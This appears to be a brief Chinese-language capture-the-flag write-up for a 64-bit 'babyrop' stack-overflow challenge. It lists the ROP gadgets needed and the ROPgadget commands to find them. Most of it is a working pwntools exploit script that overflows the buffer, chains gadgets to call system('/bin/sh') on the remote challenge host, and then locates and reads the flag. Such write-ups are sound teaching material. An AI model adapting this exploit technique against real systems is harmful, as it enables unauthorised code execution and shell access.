小白做题垃圾笔记,不建议阅读。
main函数里直接是漏洞 ,第6行存在栈溢出。
不过因为这是64位程序,所以我们需要找一些东西的地址。
system(调用系统函数·)
ret(用来栈对齐)
pop rdi (用来传参)
/bin/sh (当作system的参数)
对应指令如下:
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
至于system函数:
脚本:
from pwn import *
debug=0
if debug:
p=process('./babyrop')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('node4.buuoj.cn',28460)
context.log_level='debug'
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
system=0x0000000000400490
#ROPgadget --binary ./babyrop --only "pop|ret" | grep "pop rdi"
pop_rdi=0x0000000000400683# : pop rdi ; ret
bin_sh=0x0000000000601048
ret_add=0x0000000000400479 #: ret
payload=b'b'*0x10+b'b'*8+p64(ret_add)+p64(pop_rdi)+p64(bin_sh)+p64(system)
ru(b'name? ')
se(payload)
#ru(b'!')
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
在打通以后先ls
等到看到文件后
find / -name flag
cat 路径
cat /home/babyrop/flag
一次打不通可以多打几次。